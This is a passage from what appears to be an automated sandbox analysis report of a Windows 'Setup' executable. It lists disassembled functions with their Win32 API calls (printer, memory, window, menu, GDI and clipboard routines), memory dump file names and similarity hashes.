SystemParametersInfoW.USER32(00001002,00000000,00D2CC60,00000000), ref: 00B8889A
SystemParametersInfoW.USER32(00001012,00000000,00D2CC64,00000000), ref: 00B888AE
SystemParametersInfoW.USER32 ref: 00B888D4

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: System$InfoParameters$Metrics$DisplayEmptyEnumMonitorsRect
String ID:
API String ID: 2614369430-0
Opcode ID: 29b706947b2a2b24d548cb2c94c31b363b6482b9bd11a01d3dd7ee182c5a28c9
Instruction ID: 1f088a6b1030985f21fd4a91962135a2791692a0013720f848b9a597ebcaf6c0
Opcode Fuzzy Hash: 29b706947b2a2b24d548cb2c94c31b363b6482b9bd11a01d3dd7ee182c5a28c9
Instruction Fuzzy Hash: 162127B0602656BFE3159F709C88BE7BBE8FB19385F41012AF558C6250DBB06945CBA1

Function 00B64DAA Relevance: 12.1, APIs: 8, Instructions: 60memorystringCOMMON

Download Yara Rule

APIs

GlobalLock.KERNEL32(00000000), ref: 00B64DBE
lstrcmpW.KERNEL32(00000000,?), ref: 00B64DCF
OpenPrinterW.WINSPOOL.DRV(?,?,00000000), ref: 00B64DE4
DocumentPropertiesW.WINSPOOL.DRV(00000000,?,?,00000000,00000000,00000000,?,?,00000000), ref: 00B64E04
GlobalAlloc.KERNEL32(00000042,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00000000), ref: 00B64E0C
GlobalLock.KERNEL32(00000000), ref: 00B64E16
DocumentPropertiesW.WINSPOOL.DRV(00000000,?,?,00000000,00000000,00000002), ref: 00B64E27
ClosePrinter.WINSPOOL.DRV(?,00000000,?,?,00000000,00000000,00000002), ref: 00B64E3F

Part of subcall function 00B7827E: GlobalFlags.KERNEL32(?), ref: 00B7828B
Part of subcall function 00B7827E: GlobalUnlock.KERNEL32(?), ref: 00B78299
Part of subcall function 00B7827E: GlobalFree.KERNEL32(?), ref: 00B782A5

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Global$DocumentLockProperties$AllocCloseFlagsFreeOpenPrinterPrinter.Unlocklstrcmp
String ID:
API String ID: 168474834-0
Opcode ID: 08e31c9bfb8b9d64f98585385054c8bf567889063965596b9932377691a21ccc
Instruction ID: 09869e13fff654d88ceb942ba81acf70b94e36dae61be7d9122cd36241dfd925
Opcode Fuzzy Hash: 08e31c9bfb8b9d64f98585385054c8bf567889063965596b9932377691a21ccc
Instruction Fuzzy Hash: CA111FB2440A09BFEB266FE4CD49E6B7BEDFB04744B00446AFA1695071DB35DE50EB20

Function 00B686EC Relevance: 12.0, APIs: 8, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

GlobalSize.KERNEL32(?), ref: 00B686F5
GlobalAlloc.KERNEL32(00002002,00000000), ref: 00B6870D
GlobalLock.KERNEL32(?), ref: 00B6871D
GlobalLock.KERNEL32(?), ref: 00B68726
GlobalSize.KERNEL32(?), ref: 00B68733

Part of subcall function 00B6706E: _memcpy_s.LIBCMT ref: 00B6707D

GlobalUnlock.KERNEL32(?), ref: 00B68744
GlobalUnlock.KERNEL32(?), ref: 00B6874D
GlobalSize.KERNEL32(?), ref: 00B6875D

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Global$Size$LockUnlock$Alloc_memcpy_s
String ID:
API String ID: 3833998449-0
Opcode ID: 1778b419e9870f354db42e69aa5925f6f641997042a4294e5c1bc87b3c621515
Instruction ID: 0f3478179fd24d451e34e1edffd09d868b2f4ad43ec82a5fbab381972f798a3b
Opcode Fuzzy Hash: 1778b419e9870f354db42e69aa5925f6f641997042a4294e5c1bc87b3c621515
Instruction Fuzzy Hash: A6018F72502340FFD7106FA5AD8CBAE7FACEB847A17104575F90A96231DF348E028671

Function 00B6644C Relevance: 10.8, APIs: 7, Instructions: 265memoryCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00B66456
MapDialogRect.USER32(?,00000000), ref: 00B664FD
SysAllocStringLen.OLEAUT32(?,00000000), ref: 00B66523
CLSIDFromString.OLE32(?,?,00000000), ref: 00B66630
CLSIDFromProgID.OLE32(?,?,00000000), ref: 00B66638
SetWindowPos.USER32(?,?,00000000,00000000,00000000,00000000,00000013,00000001,00000000,?,00000000,?,?,00000000,00000378,00000000), ref: 00B666E3
SysFreeString.OLEAUT32(00000000), ref: 00B66739

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: String$From$AllocDialogFreeH_prolog3_ProgRectWindow
String ID:
API String ID: 773032744-0
Opcode ID: 663f06ad614a375ce91a585b8b2f6c08d5edc617b462060e5dde10b8d310d85c
Instruction ID: 6dbf321965b644619c5dd16ea993a337d54d39d6880c9b7ff9230432de5b124d
Opcode Fuzzy Hash: 663f06ad614a375ce91a585b8b2f6c08d5edc617b462060e5dde10b8d310d85c
Instruction Fuzzy Hash: 49B1F475E002199FDB14DFA8C984BADBBF5FF48314F1441AAE819EB345EB34A941CB50

Function 00C1AE76 Relevance: 10.8, APIs: 7, Instructions: 251COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00C1AE7D
CreateCompatibleDC.GDI32(00000007), ref: 00C1AEE5

Part of subcall function 00BE93C8: GdipGetImagePixelFormat.GDIPLUS(?,?,?,?,?,?), ref: 00BE945F

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: CompatibleCreateFormatGdipH_prolog3ImagePixel
String ID:
API String ID: 2361464650-0
Opcode ID: 061f564935d06c8699c791acdc9fc9b1ff6e269c1f5acab9a2aff4aa52eea937
Instruction ID: 095ff0cde423e28cd3d922e66765d610a0ce3b4748dbe5f3fca40980f384cabb
Opcode Fuzzy Hash: 061f564935d06c8699c791acdc9fc9b1ff6e269c1f5acab9a2aff4aa52eea937
Instruction Fuzzy Hash: AD917971A0021AABCF04DFA8CD99AEEBBB5FF09300F104169F555EA291DB34D951EB60

Function 00B8E4EA Relevance: 10.8, APIs: 7, Instructions: 250windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00B7589D: GetWindowLongW.USER32(?,000000F0), ref: 00B758AA

SendMessageW.USER32(?,00000086,00000001,00000000), ref: 00B8E549
SendMessageW.USER32(?,00000086,00000000,00000000), ref: 00B8E562
GetDesktopWindow.USER32 ref: 00B8E56A
SendMessageW.USER32(00000000,0000036D,0000000C,00000000), ref: 00B8E58A
GetWindow.USER32(00000000), ref: 00B8E593
SendMessageW.USER32(?,0000036D,00000040,00000000), ref: 00B8E630

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: MessageSend$Window$DesktopLong
String ID:
API String ID: 4083200866-0
Opcode ID: 4d4f40710d34038f31ae0fad9a980e17a99c9be930860af0b20db78cc7513062
Instruction ID: 11eec73302b95bba4ba08cf08dbe4b6b4b88a138900ca1819b39bafb325d6cf9
Opcode Fuzzy Hash: 4d4f40710d34038f31ae0fad9a980e17a99c9be930860af0b20db78cc7513062
Instruction Fuzzy Hash: 25812331300715AFEB257B24C894BAE3BE5EF94754F0541BAE9268B2A0EB70DD00CB91

Function 00BA59AD Relevance: 10.7, APIs: 7, Instructions: 247windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00BA59CE
SendMessageW.USER32(?,00000362,0000E001,00000000), ref: 00BA5A11
GetParent.USER32(?), ref: 00BA5ACA
PostMessageW.USER32(?,?,?,00000000), ref: 00BA5B7E
GetParent.USER32(?), ref: 00BA5BE8
InvalidateRect.USER32(?,?,00000001,?), ref: 00BA5C68
UpdateWindow.USER32(?), ref: 00BA5C74

Part of subcall function 00BA75F1: GetParent.USER32(?), ref: 00BA7601

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Parent$Message$InvalidatePostRectSendUpdateWindow
String ID:
API String ID: 896913059-0
Opcode ID: 6b73720a84a4466af1dcbdc8c18d6bf477213dc819889a75ea072346598d74c3
Instruction ID: aa951ecedfddf3fb33e3c48a05bc9aabaaacb43f783fa9da5d3eeb0e2d9366f0
Opcode Fuzzy Hash: 6b73720a84a4466af1dcbdc8c18d6bf477213dc819889a75ea072346598d74c3
Instruction Fuzzy Hash: 1891A271B05A15AFCB24AFA4DC95ABE7BF5FF49710B0441AAF905E7251DB309E00CBA0

Function 00BD97D7 Relevance: 10.7, APIs: 7, Instructions: 174windowCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00BD97E1

Part of subcall function 00BF896B: __EH_prolog3.LIBCMT ref: 00BF8972

GetMenuItemCount.USER32(?), ref: 00BD9844
GetMenuItemID.USER32(?,00000000), ref: 00BD985A
GetMenuItemCount.USER32(?), ref: 00BD98A2
GetMenuItemID.USER32(?,00000000), ref: 00BD98D4
SendMessageW.USER32(?,00000234,00000000,00000000), ref: 00BD9939
GetMenuState.USER32(00000001,00000000,00000400), ref: 00BD999C

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Menu$Item$Count$H_prolog3H_prolog3_MessageSendState
String ID:
API String ID: 999183886-0
Opcode ID: 81d69502f2a07d98ee5c9433d19749fe188d3b77d08a50639adc6774bda3d8e9
Instruction ID: 3c35141760335c6beb0e7ae9cd9891e7fed91b0dd2a89f866d0c8ea6d7eff876
Opcode Fuzzy Hash: 81d69502f2a07d98ee5c9433d19749fe188d3b77d08a50639adc6774bda3d8e9
Instruction Fuzzy Hash: 3F617C71A00666ABCB29AB24CC55BEDF7A4EF05714F1042EAE529A2291EB345F85CF40

Function 00C83165 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 161COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00C8316C

Part of subcall function 00C830D8: OleGetClipboard.OLE32(?), ref: 00C830EE

ReleaseStgMedium.OLE32(?), ref: 00C831EA
ReleaseStgMedium.OLE32(?), ref: 00C83237

Strings

', xrefs: 00C831A6

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: MediumRelease$ClipboardH_prolog3_catch
String ID: '
API String ID: 2576392873-1997036262
Opcode ID: 7410a4e38233d821cbfcdd50e50f2bf9357358829b837e4619842f9e7d9ffeed
Instruction ID: ac9cfb71ebbe0474f7c1cf44c64a181d834f1fadb637d6324fe0d0aa8c80def8
Opcode Fuzzy Hash: 7410a4e38233d821cbfcdd50e50f2bf9357358829b837e4619842f9e7d9ffeed
Instruction Fuzzy Hash: B051C231900249ABCF01EFB9C859BAEBBF5AF48718F14402AE502A7291DF749F41DB64

Function 00BE9E1E Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 155COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00BE9E25
GetObjectW.GDI32(00000000,00000018,?), ref: 00BE9F20
DeleteObject.GDI32(00000000), ref: 00BE9F2D

Strings

, xrefs: 00BE9F38

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Object$DeleteH_prolog3
String ID:
API String ID: 657949336-3916222277
Opcode ID: 53ee6e89069662e9093c21890686f6a5b00040acd6e11c4e86104a439e0cebf1
Instruction ID: e2e9035750296312ca8ab13ddcd72ad5ec374906709d3a33e18ee13176291d39
Opcode Fuzzy Hash: 53ee6e89069662e9093c21890686f6a5b00040acd6e11c4e86104a439e0cebf1
Instruction Fuzzy Hash: 45518171901596EBCF14EFA1CC80AEEB7F5FF00300F0086A9E925A6191DB34AD59DBE1

Function 00B9E04C Relevance: 10.6, APIs: 7, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 00BEBE73: __EH_prolog3_catch.LIBCMT ref: 00BEBE7A

UpdateWindow.USER32(?), ref: 00B9E0F9
EqualRect.USER32(?,?), ref: 00B9E139
InflateRect.USER32(?,00000002,00000002), ref: 00B9E151
InvalidateRect.USER32(?,?,00000001), ref: 00B9E160
InflateRect.USER32(?,00000002,00000002), ref: 00B9E177
InvalidateRect.USER32(?,?,00000001), ref: 00B9E189
UpdateWindow.USER32(?), ref: 00B9E192

Part of subcall function 00B9C0F1: InvalidateRect.USER32(?,?,00000001,?), ref: 00B9C16B
Part of subcall function 00B9C0F1: InflateRect.USER32(?,00000000,?), ref: 00B9C1AD
Part of subcall function 00B9C0F1: RedrawWindow.USER32(?,?,00000000,00000401), ref: 00B9C1C1

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Rect$InflateInvalidateWindow$Update$EqualH_prolog3_catchRedraw
String ID:
API String ID: 1041772997-0
Opcode ID: 13dd503020f9bc8720e7998bce980058ceadf5bb2a5c08aeef6abe584f084076
Instruction ID: 4ecd857c87c554a4b9725c88ee43115939e843954c44d960cf94350cb6903ad5
Opcode Fuzzy Hash: 13dd503020f9bc8720e7998bce980058ceadf5bb2a5c08aeef6abe584f084076
Instruction Fuzzy Hash: 5D515C75601215AFDF05DF64C884BAE3BB5FF48310F1402BAFC19AB295DB719A41CBA1

Function 00C76A2D Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 130COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00C76A34

Part of subcall function 00BE571D: __EH_prolog3.LIBCMT ref: 00BE5724

Part of subcall function 00C9F88E: SetRectEmpty.USER32(?), ref: 00C9F8C9

SetRectEmpty.USER32(?), ref: 00C76B78
SetRectEmpty.USER32 ref: 00C76B89
SetRectEmpty.USER32(?), ref: 00C76B90

Strings

False, xrefs: 00C76BF7, 00C76BFC, 00C76C04
True, xrefs: 00C76BA2, 00C76BAD, 00C76BEB

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
